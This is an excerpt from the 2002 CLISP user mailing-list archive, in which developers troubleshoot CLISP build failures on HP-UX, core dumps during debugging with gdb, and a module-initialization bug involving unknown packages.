X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 07:50:06 2002 X-Original-Date: 02 Apr 2002 10:15:22 -0500 > * In message <001101c1dad1$dc7a30e0$179986cb@abe> > * On the subject of "[clisp-list] socket-status question" > * Sent on Tue, 2 Apr 2002 21:39:00 -0800 > * Honorable "Jan Marecek" writes: > > (socket-status '(server (client . :io))) > => *** - SOCKET-STATUS: argument SERVER should be a stream try (socket-status (list server (cons client :io))) and think about evaluating and quoting -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Any connection between your reality and mine is purely coincidental. From A.Nuzzo@motorola.com Tue Apr 02 13:30:17 2002 Received: from motgate.mot.com ([129.188.136.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sVr0-00035K-00 for ; Tue, 02 Apr 2002 13:30:10 -0800 Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate.mot.com (motgate 2.1) with ESMTP id OAA15232 for ; Tue, 2 Apr 2002 14:30:08 -0700 (MST)] Received: [from il02exm25.comm.mot.com (il02exm25.comm.mot.com [145.1.204.48]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id OAA19144 for ; Tue, 2 Apr 2002 14:30:08 -0700 (MST)] Received: by il02exm25.comm.mot.com with Internet Mail Service (5.5.2654.52) id <2BCM3PB2>; Tue, 2 Apr 2002 15:30:08 -0600 Message-ID: From: Nuzzo Art-CINT116 To: "'Stefan Kain'" , "'clisp-list@lists.sourceforge.net'" Subject: RE: [clisp-list] FW: Still Problems compiling on HP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 13:41:10 2002 X-Original-Date: Tue, 2 Apr 2002 15:30:06 -0600 > > > > It now continues until it reaches the point where it runs > lisp.run and > > > then > > > core dumps. > > Please set the environment variable CC to "cc -g" or "gcc -g" > respectively. > You might probably also want to set an option that causes the compiler > to issue more warning-messages ( -Wall for gcc, -W (???) for cc)) > > Delete the build-directory and configure again, e.g.: > ./configure compile-with-g > > Make sure that a core file can be reproduced (ulimit and friends > according to shell) > (core-file-size of 0 might be counter-productive :-) > > then follow the instructions printed out at the end of configuration. > > The dump should occur again, now use the debugger (dbx, gdb) > to extract > the > stack trace. > > (I don't know the specific command for dbx, > in gdb you just have to load the core file into the debugger and issue > the > command "where" if I recall correctly.) > > We might then have a chance to find, where the problem is. > > It's unfortunate but it looks like I don't have a debugger on this system. So before I take that step let me ask this question: I used to be able to compile Clisp on HP. This was some time ago and probably a million things have changed, including the hardware, but I seem to to remember something about the LANG variable or NLS_LANG variable being an issue and I had to either set it or unset it to get it to compile. Does this ring a bell with anyone? (It's too bad I don't have a Linux system here at work. I can compile Clisp, and just about about any other program, on Linux at home without problems.) Thanks for any information, Art Nuzzo From smk@users.sourceforge.net Tue Apr 02 12:16:17 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sUhS-0006Xw-00 for ; Tue, 02 Apr 2002 12:16:15 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16sUhO-0007gf-00 for clisp-list@lists.sourceforge.net; Tue, 02 Apr 2002 22:16:10 +0200 Received: from a2ef5.pppool.de ([213.6.46.245] helo=users.sourceforge.net) by mx1.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16sUhN-0002bj-00 for clisp-list@lists.sourceforge.net; Tue, 02 Apr 2002 22:16:10 +0200 Message-ID: <3CAA11E3.ECCFBB3D@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] FW: Still Problems compiling on HP Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 14:15:17 2002 X-Original-Date: Tue, 02 Apr 2002 22:17:39 +0200 Hi, Nuzzo Art-CINT116 wrote: > > >GNU as and the binutils will not help you. You need the assembler that > > >is shipped with the system! > > > > > > Switching to the HP assembler fixed this problem. Great! > > It now continues until it reaches the point where it runs lisp.run and > > then > > core dumps. Please set the environment variable CC to "cc -g" or "gcc -g" respectively. You might probably also want to set an option that causes the compiler to issue more warning-messages ( -Wall for gcc, -W (???) for cc)) Delete the build-directory and configure again, e.g.: ./configure compile-with-g Make sure that a core file can be reproduced (ulimit and friends according to shell) (core-file-size of 0 might be counter-productive :-) then follow the instructions printed out at the end of configuration. The dump should occur again, now use the debugger (dbx, gdb) to extract the stack trace. (I don't know the specific command for dbx, in gdb you just have to load the core file into the debugger and issue the command "where" if I recall correctly.) We might then have a chance to find, where the problem is. Bye, Stefan From A.Nuzzo@motorola.com Mon Apr 01 19:18:02 2002 Received: from motgate.mot.com ([129.188.136.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sEo5-0001FH-00 for ; Mon, 01 Apr 2002 19:18:01 -0800 Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate.mot.com (motgate 2.1) with ESMTP id UAA09930 for ; Mon, 1 Apr 2002 20:18:00 -0700 (MST)] Received: [from il02exm25.comm.mot.com (il02exm25.comm.mot.com [145.1.204.48]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id UAA16340 for ; Mon, 1 Apr 2002 20:18:00 -0700 (MST)] Received: by il02exm25.comm.mot.com with Internet Mail Service (5.5.2654.52) id <2BCMNTKV>; Mon, 1 Apr 2002 21:18:00 -0600 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Still Problems compiling on HP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 16:23:04 2002 X-Original-Date: Mon, 1 Apr 2002 21:17:59 -0600 I am getting closer but not there yet. >> gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a >> ./minitests > minitests.out >> uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20 >> test '!' -s minitests.output.hppa2.0-hp-hpux10.20 >> make: *** [check] Error 1 > >this should be fixed in the CVS. Getting the CVS fixed this problem. >> > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type >> > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce >> > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o || >> > /bin/as arihppa.s -o arihppa.o >> > arihppa.s: Assembler messages: >> > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' >> > arihppa.s:8: Error: The .ENTER pseudo-op is not supported >> > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported >> > arihppa.s: Assembler messages: >> > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' >> > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493 >> > Please report this bug. > > > >GNU as and the binutils will not help you. You need the assembler that >is shipped with the system! Switching to the HP assembler fixed this problem. It now continues until it reaches the point where it runs lisp.run and then core dumps. gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o arihppa.o gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -ltermcap -o lisp.run sync ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" /bin/sh: 14998 Memory fault(coredump) make: *** [interpreted.mem] Error 139 Any ideas what I am overlooking? Thanks for help, Art Nuzzo a.nuzzo@motorola.com From will@misconception.org.uk Tue Apr 02 17:19:43 2002 Received: from cmailg5.svr.pol.co.uk ([195.92.195.175]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sZR5-0005pb-00 for ; Tue, 02 Apr 2002 17:19:39 -0800 Received: from modem-854.articuno.dialup.pol.co.uk ([217.135.29.86] helo=there) by cmailg5.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16sZR2-0002zl-00 for clisp-list@lists.sourceforge.net; Wed, 03 Apr 2002 02:19:37 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Still Problems compiling on HP X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 03:39:39 2002 X-Original-Date: Wed, 3 Apr 2002 02:20:44 +0100 On Tuesday 02 Apr 2002 4:17 am, Nuzzo Art-CINT116 wrote: > ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load > \"init.lisp\") (sys::%saveinitmem) (exit)" > /bin/sh: 14998 Memory fault(coredump) > make: *** [interpreted.mem] Error 139 Would it be possible to get a backtrace of this? With gdb: % gdb ./lisp.run >> run >> backtrace There is a similar crash with Sparc, and also with m68k so it would be intersting to see if they are related. Thanks. From dan.stanger@ieee.org Tue Apr 02 18:40:27 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sahH-0004ao-00 for ; Tue, 02 Apr 2002 18:40:27 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16sahC-0007yt-00; Tue, 02 Apr 2002 19:40:22 -0700 Message-ID: <3CAA6BE0.3156DC49@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" , "maxima@www.ma.utexas.edu" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] cparse Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 04:12:24 2002 X-Original-Date: Tue, 02 Apr 2002 19:41:36 -0700 I have made a first pass at getting cparse running on clisp. Cparse is Tim Moore's program that parses c headers, and generates cmucl and now clisp lisp code to call the c functions. I would appreciate any testing that could be done with this on clisp, I have used it to parse windows.h, the cygwin windows header file. Dan Stanger From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 05:24:21 2002 Received: from gw1.telekom.de ([194.25.15.11] helo=fw1a.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16skkM-0007xx-00 for ; Wed, 03 Apr 2002 05:24:18 -0800 Received: by fw1a.telekom.de; (8.8.8/1.3/10May95) id PAA13720; Wed, 3 Apr 2002 15:23:45 +0200 (MET DST) Received: from G8SBV.dmz.telekom.de by U9JWN.mgb01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 15:24:10 +0200 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 14:51:52 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 14:53:13 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] def-call-in problem: crash confirmation MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 05:30:36 2002 X-Original-Date: Wed, 3 Apr 2002 14:53:11 +0200 Peter, > Has anyone tried it? I can confirm the core dump using MS-VC6 on 2.28. (new)lisp.run -M (old)lispinit.mem crashes. (new)lisp.run crashes. I obtain -- quite similar, although Solaris/Sparc is very different from Intel: *** - The value of *TERMINAL-IO* was not a stream: #. It has been changed to #. *** - handle_fault error2 ! address = 0xFFFFFFF8 not in [0x6690C860,0x66930000) ! SIGSEGV cannot be cured. Fault address = 0xFFFFFFF8. The instruction at 0x0041955e points to 0xfffffff8. Could not read from that address. Peter Wood wrote: > I get the same result with 2.27, both with my module, and the test > described earlier: the *terminal-io* message followed by a segfault: > > *** - The value of *TERMINAL-IO* was not a stream: # TERMINAL-STREAM>. It has been changed to #. > *** - handle_fault error2 ! address = 0xFFFFFFF8 not in > [0x68084260,0x680A5000) ! > SIGSEGV cannot be cured. Fault address = 0xFFFFFFF8. > /usr/bin/clisp-link: line 2: 18450 Segmentation fault > (core dumped) "$@" From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 07:00:30 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16smFP-0004Ma-00 for ; Wed, 03 Apr 2002 07:00:28 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 3 Apr 2002 16:58:55 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 17:00:16 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: peter.wood@worldonline.dk MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] fatal error in fatal error handler Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 07:14:50 2002 X-Original-Date: Wed, 3 Apr 2002 17:00:16 +0200 Hi, could somebody please confirm the following on a different platform? = CLISP-2.27 (win32 binary distribution) would not crash while my own = MS-VC6-compiled CLISP-2.28 dies: ...\src\clisp-2.28\src>lisp.exe -B . ; lisp.run on UNIX i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 WARNING: No initialization file specified. Please try: lisp.exe -M lispinit.mem > (load "macros2.fas") ; or any .fas *** - COMMON-LISP:FUNCALL: the function REMOVE-OLD-DEFINITIONS is = undefined ; normal error when starting without -M 1. Break> ^Z ; or ^D on UNIX [error.d:304] cannot handle the fatal error due to a fatal error in the = fatal error handler! Unknown software exception 0xc0000094 at 0x004f0534 ...\src\clisp-2.28\src> I'm investigating Peter's DEF-CALL-IN crash report... Thanks, J=F6rg H=F6hle. From A.Nuzzo@motorola.com Wed Apr 03 07:07:05 2002 Received: from motgate.mot.com ([129.188.136.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16smLl-0005Ew-00 for ; Wed, 03 Apr 2002 07:07:02 -0800 Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate.mot.com (motgate 2.1) with ESMTP id IAA01837 for ; Wed, 3 Apr 2002 08:06:57 -0700 (MST)] Received: [from il02exm25.comm.mot.com (il02exm25.comm.mot.com [145.1.204.48]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id IAA12151 for ; Wed, 3 Apr 2002 08:06:56 -0700 (MST)] Received: by il02exm25.comm.mot.com with Internet Mail Service (5.5.2654.52) id <2BCMPB7D>; Wed, 3 Apr 2002 09:06:55 -0600 Message-ID: From: Nuzzo Art-CINT116 To: "'Will Newton'" , clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Still Problems compiling on HP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 07:19:10 2002 X-Original-Date: Wed, 3 Apr 2002 09:06:49 -0600 > > > On Tuesday 02 Apr 2002 4:17 am, Nuzzo Art-CINT116 wrote: > > > ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load > > \"init.lisp\") (sys::%saveinitmem) (exit)" > > /bin/sh: 14998 Memory fault(coredump) > > make: *** [interpreted.mem] Error 139 > > Would it be possible to get a backtrace of this? > > With gdb: > > % gdb ./lisp.run > >> run > >> backtrace > > There is a similar crash with Sparc, and also with m68k so it > would be > intersting to see if they are related. > Sure, no problem. I had to install gdb first. I haven't really used a debugger much so you might need to help me here. Here is what I get when I ran the debugger command: artn@bs742> gdb ./lisp.run GNU gdb 5.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "hppa2.0-hp-hpux10.20"...(no debugging symbols found)... (no debugging symbols found)...Breakpoint 1 at 0x14c09c Breakpoint 2 at 0x148dcc Breakpoint 3 at 0x13d310 Num Type Disp Enb Address What 1 breakpoint keep n 0x0014c09c zout fun 2 breakpoint keep n 0x00148dcc zout form 3 breakpoint keep n 0x0013d310 .gdbinit:37: Error in sourced command file: Function "sigsegv_handler_failed" not defined. (gdb) run Starting program: /tmp_mnt/users/artn/clisp-2.28-CVS/src/lisp.run -B . -M lispinit.mem -q -norc Now it will just hang there. I'm not sure if it is from lisp.run or I did something wrong when I compiled gdb or it is waiting for me to do something. Thanks for any help. Art From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 07:21:46 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16smZw-0007IV-00 for ; Wed, 03 Apr 2002 07:21:40 -0800 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 17:20:10 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 17:21:31 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] module with new package bug & work-around (was: def-call-in probl em) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 07:37:32 2002 X-Original-Date: Wed, 3 Apr 2002 17:21:31 +0200 Hi, DEF-CALL-IN is not at fault (cf. Peter Wood's bug report). It's the object initialization of modules which has a bug. A work-around is not to use an unknown package. Unknown means one which is not yet known in the .mem file that is being initialized from. Thus, 2 possible work-around paths: 1. generate a new .mem, using (defpackage "TESTCI" (:use "FFI" "LISP")) (saveinitmem) then lisp.exe -M foo.mem (load "alpha.lisp") 2. use lispinit.mem from the distribution, but don't use unknown packages. Put interface symbols in package USER or wherever. That's probably why people reported that clg (whatever that is) could still be built while Peter Wood's example failed. The failure to handle unknown packages is strange since I can remember something about this issue when module functionality was added to CLISP around seven years ago. I haven't looked at the spvw*.d etc. CLISP code yet. BTW, if you look at the generated alpha.c file you could try: #if 0 { "TESTCI::DECIDER" }, #else { "DECIDER" }, #endif Regards, Jorg Hohle. From samuel.steingold@verizon.net Wed Apr 03 08:05:54 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16snGh-000549-00 for ; Wed, 03 Apr 2002 08:05:51 -0800 Received: from gnu.org ([151.203.48.85]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020403160542.NBJM18349.out009.verizon.net@gnu.org>; Wed, 3 Apr 2002 10:05:42 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, peter.wood@worldonline.dk Subject: Re: [clisp-list] fatal error in fatal error handler References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 08:22:41 2002 X-Original-Date: 03 Apr 2002 11:06:28 -0500 > * In message > * On the subject of "[clisp-list] fatal error in fatal error handler" > * Sent on Wed, 3 Apr 2002 17:00:16 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > could somebody please confirm the following on a different platform? > CLISP-2.27 (win32 binary distribution) would not crash while my own > MS-VC6-compiled CLISP-2.28 dies: [could you please break your long lines? -- thanks] > ...\src\clisp-2.28\src>lisp.exe -B . you are not supposed to run lisp.exe without the memory image. if you do, you cannot expect CLISP to work properly, if at all. > 1. Break> ^Z > ; or ^D on UNIX > [error.d:304] cannot handle the fatal error due to a fatal error in the fatal error handler! > Unknown software exception 0xc0000094 at 0x004f0534 CLISP is aborted. This indicates "a problem _above_", in this case: you are loading macros2.lisp before init.lisp. CLISP cannot properly handle the break loop when reploop.lisp is not loaded. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't want to be young again, I just don't want to get any older. From will@misconception.org.uk Wed Apr 03 08:06:04 2002 Received: from cmailg7.svr.pol.co.uk ([195.92.195.177]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16snGs-00055u-00 for ; Wed, 03 Apr 2002 08:06:02 -0800 Received: from modem-877.bellsprout.dialup.pol.co.uk ([217.135.40.109] helo=there) by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16snGm-0004Mj-00 for clisp-list@lists.sourceforge.net; Wed, 03 Apr 2002 17:05:58 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Still Problems compiling on HP X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 08:22:51 2002 X-Original-Date: Wed, 3 Apr 2002 16:58:12 +0100 On Wednesday 03 Apr 2002 4:06 pm, Nuzzo Art-CINT116 wrote: > Now it will just hang there. I'm not sure if it is from lisp.run or I did > something wrong when I compiled gdb or it is waiting for me to do > something. The problem is that for some reason (I assume it is an error, I cannot believe it has any use) there is a .gdbinit file in the source directory. To make matters worse it is copied to the build directory also. If you have the time could you please try this: (% is shell propmt, >> is gdb prompt) % cd to wherever you are building, defaults to clisp-2.28/src % rm .gdbinit % gdb ./lisp.run >> run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" And see if that crashes - it should drop to the debugger with SIGSEGV caught or something along those lines. If so please try: >> backtrace Hopefully that should print something. NB: It would be really nice if someone would remove that .gdbinit file, it makes it a lot harder to get good bug reports. From samuel.steingold@verizon.net Wed Apr 03 08:52:02 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16snzL-0003fD-00 for ; Wed, 03 Apr 2002 08:51:59 -0800 Received: from gnu.org ([151.203.48.85]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020403165155.NICG18349.out009.verizon.net@gnu.org>; Wed, 3 Apr 2002 10:51:55 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Still Problems compiling on HP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 09:03:21 2002 X-Original-Date: 03 Apr 2002 11:52:42 -0500 > * In message > * On the subject of "Re: [clisp-list] Still Problems compiling on HP" > * Sent on Wed, 3 Apr 2002 16:58:12 +0100 > * Honorable Will Newton writes: > > The problem is that for some reason (I assume it is an error, I cannot > believe it has any use) there is a .gdbinit file in the source > directory. To make matters worse it is copied to the build directory > also. this is intentional. I use this to debug CLISP. note that emacs comes with a much more extensive src/.gdbinit -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From A.Nuzzo@motorola.com Wed Apr 03 08:49:15 2002 Received: from ftpbox.mot.com ([129.188.136.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16snwf-0003DN-00 for ; Wed, 03 Apr 2002 08:49:13 -0800 Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id JAA20246 for ; Wed, 3 Apr 2002 09:49:06 -0700 (MST)] Received: [from il02exm25.comm.mot.com (il02exm25.comm.mot.com [145.1.204.48]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id JAA24689 for ; Wed, 3 Apr 2002 09:36:51 -0700 (MST)] Received: by il02exm25.comm.mot.com with Internet Mail Service (5.5.2654.52) id <2BCMPGT2>; Wed, 3 Apr 2002 10:49:06 -0600 Message-ID: From: Nuzzo Art-CINT116 To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Still Problems compiling on HP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: 